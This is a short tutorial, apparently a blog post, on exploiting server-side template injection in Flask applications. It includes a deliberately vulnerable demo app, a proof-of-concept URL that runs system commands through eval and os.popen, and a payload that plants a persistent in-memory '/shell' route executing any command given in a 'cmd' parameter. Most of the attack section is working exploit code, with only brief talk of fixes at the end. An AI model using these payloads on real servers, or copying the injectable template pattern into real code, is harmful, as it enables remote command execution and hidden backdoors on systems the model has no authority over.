implementation of memory webshell in flask

Introduction

Server-side Template Injection(SSTI) is a common vulnerability in Flask framework.If the application choosed flask framework and exists SSTI vulnerability,actually easy to be exploited .

It is easy to be exploited if a SSTI vulnerability were found. In this page ,I’ll show how to utilize it to inject webshell into memory.In next passage I’ll explain the procedure of a Flask app receive,understand and execute the command which sent by user.

Demo

A simple Flask framework web application with SSTI vulnerability as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)


@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.args.get('name'))

return render_template_string(template)


if __name__ == '__main__':
app.run()

In this demo , you can enter test directory and pass parameter ‘name’ via GET method,which could execute python command by a specific attack payload which generated by SSTI exploit chains.

Simple SSTI PoC in this demo(webserver launched on my desktop, default ip is 127.0.0.1, port:5000):

1
http://127.0.0.1:5000/test?url={{url_for.__globals__.__builtins__[%27eval%27](%22__import__(%27os%27).popen(%27whoami%27).read()%22)}}

paste image
This PoC shows that SSTI vulnerability could execute system command in web page which based on Flask.But the privilege inherited from the user who launched this application.

Webshell injection in Flask

There is a way to inject webshell into flask:

1
2
3
4
5
6
7
1.find the function which responsible for registering route
2.pass paramaters to the function and improt os modules to execute system command
3.expose an API to execute user-defined system commandso
so here is the Payload

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

paste image
Above figure shows that a webshell was generated in memory and can be visited via route /shell while pass paramater cmd to execute the system command,default command are whoami.

End

In this passage I just show how to use it , but I think the critical problem is analyse the execute logic and try to find some way to fix? or exploit it in a new way:)